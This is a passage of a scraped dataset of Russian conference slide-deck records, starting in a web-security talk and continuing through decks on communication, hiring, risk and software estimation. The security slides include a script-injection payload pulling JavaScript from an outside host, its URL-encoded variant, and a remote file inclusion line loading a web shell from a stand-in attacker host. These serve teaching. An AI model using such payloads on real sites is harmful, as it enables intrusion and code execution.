"description": "Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='><script src=http://test.com/script/js.js></script> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img44.jpg",
"description": "DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов, которые не выдерживает атакуемый сервер. Собственно отношение к XSS имеет косвенное, поскольку скрипты могут и не использоваться вовсе, достаточно конструкции вида: <img src=\"http://site.com/\">"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img45.jpg",
"description": "Демонстрация примеров Демонстрация примеров"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img46.jpg",
"description": "Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img47.jpg",
"description": "PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции тип уязвимостей."
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img48.jpg",
"description": "Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img49.jpg",
"description": "Виды инклудов <? .. Include (\"$page.php\"); … ?> Возможен Remote File Inclusion (RFI) <? .. Include (\"files/$page.htm\"); … ?> Возможен Local File Inclusion (LFI) с использованием нулл байта <? .. Include (\"$patch/folder/page.php\"); … ?> Возможен RFI при условии создания структуры /folder/page.php на удаленном сервере"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img50.jpg",
"description": "Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www//page.php on line 3 Warning: main(dsdsds.php): failed to open stream: No such file or directory in /home/user/www/page.php on line 3 Warning: main(): Failed opening 'dsdsds.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php:/usr/local/share/pear') in /home/user/www/page.php on line 3"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img51.jpg",
"description": "Веб шелл Это происходит потому, что код страницы имеет такой элемент <? .. Include (\"$page.php\"); … ?> Как этим воспользоваться? index.php?page=http://hacker.site/shell Получаем веб шелл, который дает возможность исполнять любые php команды"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img52.jpg",
"description": "Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже 6.0.10 подвержен уязвимости поволяющей перейти к содержимому вышестоящей директории путем указания в пути конструкции \"../\"."
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img53.jpg",
"description": "Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP коде"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img54.jpg",
"description": "Демонстрация примеров Демонстрация примеров"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/ddeaa1cd89bd18bd93eb9394a143c60c/img55.jpg",
"description": "Вопросы? Email: [email protected] Twitter: @iharbondarenko Skype: igor.bondarenko1"
}
] |
https://mypresentation.ru/presentation/99634 | Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img0.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img1.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img2.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img3.jpg",
"description": "Планы-2012 Клуб профессионального развития: рост в менеджеры Клуб профессионального развития: предпринимательство Клуб профессионального развития: лидерство Клуб профессионального развития: тренерский бизнес Клуб по работе с сотрудниками Клуб по работе с командами Клуб по работе с заказчиком Клуб практического тестирования! Клуб практического программирования Клуб управления проектами в PMI Клуб управления проектами в Agile Бонусный клуб! www.stratoplan.ru"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img4.jpg",
"description": "Погружение в тему Вспомните ситуацию, в которой вы не могли договориться с коллегами? Чего вам не хватает при ведение переговоров? Ваш ближайший сложный разговор?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img5.jpg",
"description": "Нам нужны добровольцы! 3 команды по 5 человек"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img6.jpg",
"description": "Будем снимать кино!"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img7.jpg",
"description": "Вы умеете делать самолетики? Возьмите себе по одному листику бумаги!"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img8.jpg",
"description": "Приз лучшим пилотам! Запись трех авторских вебинаров гуру тестирования: Джеймс Бах Майкл Болтон Рекс Блек"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img9.jpg",
"description": "Конкурс!"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img10.jpg",
"description": "Все делаем самолетики 1 человек = 1 самолетик 1 команда = 5 самолетиков! 1 команда = 1 запускатель самолетиков Задача №1: выбрать 5 самых летательных самолетиков Задача №2: победить всех!"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img11.jpg",
"description": "Подписываем самолетики Номер команды SQA Days #10!"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img12.jpg",
"description": "Запуск и полеты 5 синхронных попыток Запуск на дальность (кол-во рядов зала) Лучший результат – 1 бал команде Побеждает команда!"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img13.jpg",
"description": "Условия и время конкурса У вас 5 минут на подготовку Запускатель от команды выходит на сцену с 5-ю самолетиками с номерами своей команды и надписью «SQA Days #10» Запуск синхронно Записываем результаты Повторяем 5 раз до победы!"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img14.jpg",
"description": "Время пошло!"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img15.jpg",
"description": "Запускатели на сцену!"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img16.jpg",
"description": "Смотрим кино?"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img17.jpg",
"description": "Что вы увидели? 1 команда"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img18.jpg",
"description": "Чье кино вам понравилось больше? 1 команда"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img19.jpg",
"description": "Ж Ц Д К *Жизненный цикл дефекта в коммуникациях"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img20.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №21"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img21.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №22"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img22.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img23.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img24.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img25.jpg",
"description": "Жизненный цикл коммуникативного дефекта Александр Орлов Слава Панкратов Стратоплан.Ру, слайд №26"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img26.jpg",
"description": "Рассмотрим кейс? Вы – тест менеджер команды К вам в комнату, где сидят ваши тестировщики прибегает тим лид разработки с криками: «Какого хрена?! Уже вечер, от тебя нет отчетов по форме FTR!!!»"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img27.jpg",
"description": "Рассмотрим еще кейс? Ваш тестировщик тестирует без тейст-кейсов На ваши замечания, реагирует спокойно, но сопротивляется: «Я и так все нахожу. Я лучше это время потрачу на тестирование. Читал про exploratory testing? Ну вот я и это самое...»"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img28.jpg",
"description": "Это еще не все награды!"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/dad44474399f6db89e3b69da2e633781/img29.jpg",
"description": "12 клубов профессионального роста! Клуб профессионального развития: рост в менеджеры Клуб профессионального развития: предпринимательство Клуб профессионального развития: лидерство Клуб профессионального развития: тренерский бизнес Клуб по работе с сотрудниками Клуб по работе с командами Клуб по работе с заказчиком Клуб практического тестирования! Клуб практического программирования Клуб управления проектами в PMI Клуб управления проектами в Agile Бонусный клуб! www.stratoplan.ru"
}
] |
https://mypresentation.ru/presentation/99635 | Игра с рисками Михаил Гедзберг Luxoft [email protected] | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img0.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected]"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img1.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img2.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img3.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img4.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img5.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img6.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img7.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img8.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img9.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/9e346535921c6175ade86c75af754a08/img10.jpg",
"description": "Игра с рисками Михаил Гедзберг Luxoft [email protected], слайд №11"
}
] |
https://mypresentation.ru/presentation/99636 | No HR Курс молодого бойца для менеджеров: поиск, найм и ввод новичков в строй | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img0.jpg",
"description": "No HR Курс молодого бойца для менеджеров: поиск, найм и ввод новичков в строй"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img1.jpg",
"description": "Поиск людей в свою команду: проект или процесс?"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img2.jpg",
"description": "Ваш сайт никто не видит"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img3.jpg",
"description": "Оставьте hh.ru HR'ам"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img4.jpg",
"description": "Вы — наниматель 24х7"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img5.jpg",
"description": "Стройте профессиональную соц. сеть"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img6.jpg",
"description": "Ищите до того, как понадобится"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img7.jpg",
"description": "Опасайтесь знакомых, знакомых приводящих"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img8.jpg",
"description": "Боритесь за разнообразие видов"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img9.jpg",
"description": "Нашёл друга — потерял коллегу. Потерял коллегу — потерял друга."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img10.jpg",
"description": "Девиз троечников: «Свои люди — сочтёмся»"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img11.jpg",
"description": "Увольнять протеже — воевать на два фронта"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img12.jpg",
"description": "Как написать объявление о вакансии?"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img13.jpg",
"description": "Первый заход: «как все» ±100 откликов, ±10 собеседований, 0 на выходе"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img14.jpg",
"description": "Второй заход: живенько ±50 откликов, ±5 собеседований, 2 на испытательном"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img15.jpg",
"description": "Третий заход: коротко и жёстко ±5 откликов, overqualified + собеседования, ура!"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img16.jpg",
"description": "Готовьтесь к обработке потока входящих"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img17.jpg",
"description": "Checklist для первичной обработки заявки"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img18.jpg",
"description": "Найдите все контакты"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img19.jpg",
"description": "Поймите, на какую должность подходит"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img20.jpg",
"description": "Запишите в книжечку"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img21.jpg",
"description": "Решите, что делать дальше"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img22.jpg",
"description": "Дайте обратную связь"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img23.jpg",
"description": "Пара слов о собеседовании"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img24.jpg",
"description": "Не мучайте ерундой"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img25.jpg",
"description": "Проверьте на канцелярит"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img26.jpg",
"description": "Результат любой ценой?"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img27.jpg",
"description": "Я — последняя буква алфавита"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img28.jpg",
"description": "Спец «два в одном» — не спец ни в чём"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img29.jpg",
"description": "Возраст, дети и прочая политкорректность"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img30.jpg",
"description": "Вам общаться или работать?"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img31.jpg",
"description": "Тактика выжженной харизмой земли"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img32.jpg",
"description": "Пусть спросит ниже пояса"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img33.jpg",
"description": "В чём он(а) лучше вас?"
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img34.jpg",
"description": "Щепотка раздражения"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img35.jpg",
"description": "http://tinyurl.com/manmirror"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img36.jpg",
"description": "Ввод новичка в коллектив"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img37.jpg",
"description": "Бросаем — и плыви?"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img38.jpg",
"description": "2 недели — и боец готов"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img39.jpg",
"description": "3 месяца — страховка от психов"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img40.jpg",
"description": "Задачи — ваша задача"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img41.jpg",
"description": "Микроменеджмент? Убейте себя об стену"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img42.jpg",
"description": "Хвалите и благодарите"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img43.jpg",
"description": "Мониторинг успешности погружения"
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img44.jpg",
"description": "Само не случится — смотрите в оба!"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img45.jpg",
"description": "«Как» сейчас важней, чем «что»"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img46.jpg",
"description": "Как реагирует на ошибки?"
},
{
"slide_number": "48",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img47.jpg",
"description": "Стиль общения с людьми"
},
{
"slide_number": "49",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img48.jpg",
"description": "Быстро ли соображает?"
},
{
"slide_number": "50",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img49.jpg",
"description": "Мешает или помогает?"
},
{
"slide_number": "51",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img50.jpg",
"description": "Сидит или бегает?"
},
{
"slide_number": "52",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img51.jpg",
"description": "Где упирается рогом?"
},
{
"slide_number": "53",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img52.jpg",
"description": "Лапки — вверх или на горле?"
},
{
"slide_number": "54",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img53.jpg",
"description": "Неожиданные плюсы"
},
{
"slide_number": "55",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img54.jpg",
"description": "Конструктивная критика на дне"
},
{
"slide_number": "56",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img55.jpg",
"description": "Вы немножко забыли рассказать о принципах, да?"
},
{
"slide_number": "57",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img56.jpg",
"description": "Не сопротивляется? Дайте второй шанс!"
},
{
"slide_number": "58",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img57.jpg",
"description": "Сыграйте в «доброго и злого»"
},
{
"slide_number": "59",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img58.jpg",
"description": "Вы круты. Всякий жаждет с вами работать. Вы наймёте и обучите лучших. Да или нет? Вы правы в любом случае."
},
{
"slide_number": "60",
"image": "https://mypresentation.ru/documents/27fc8b949fe8d05f1313b18c949ed6f9/img59.jpg",
"description": "Спасибо :)"
}
] |
https://mypresentation.ru/presentation/99637 | Вся правда о PM-ах Санкт-Петербург, 2011 | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img0.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img1.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img2.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img3.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img4.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img5.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img6.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img7.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img8.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img9.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img10.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img11.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img12.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/0564366a097521969e0db2be14c59ee2/img13.jpg",
"description": "Вся правда о PM-ах Санкт-Петербург, 2011, слайд №14"
}
] |
https://mypresentation.ru/presentation/99638 | Software Estimation | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img0.jpg",
"description": "Software Estimation"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img1.jpg",
"description": "О себе"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img2.jpg",
"description": "КО"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img3.jpg",
"description": "Зачем?"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img4.jpg",
"description": "Давайте на чистоту"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img5.jpg",
"description": "Software Estimation, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img6.jpg",
"description": "Software Estimation, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img7.jpg",
"description": "Software Estimation, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img8.jpg",
"description": "Software Estimation, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img9.jpg",
"description": "“Estimation is not Exactimation!” S. McConnell"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img10.jpg",
"description": "Software Estimation, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img11.jpg",
"description": "Проблемы оценок: Погрешность Разные люди Предубеждение Вариация производительности Риски Очень мало времени на оценку"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img12.jpg",
"description": "А есть ли выход?"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img13.jpg",
"description": "Оцениваем непрерывно Ретроспектива"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img14.jpg",
"description": "Как оценивать?"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img15.jpg",
"description": "Software Estimation, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img16.jpg",
"description": "Software Estimation, слайд №17"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img17.jpg",
"description": "Ищем, что посчитать Количество бизнес-процессов Количество строк кода Количество входов-выходов Количество ХП Количество подсистем Количество модулей"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img18.jpg",
"description": "Если считать нечего, то см. методы «Локтём по карте» и «Вилами по воде»"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/6867cb3f9387fbdb1a324778293e5a2b/img19.jpg",
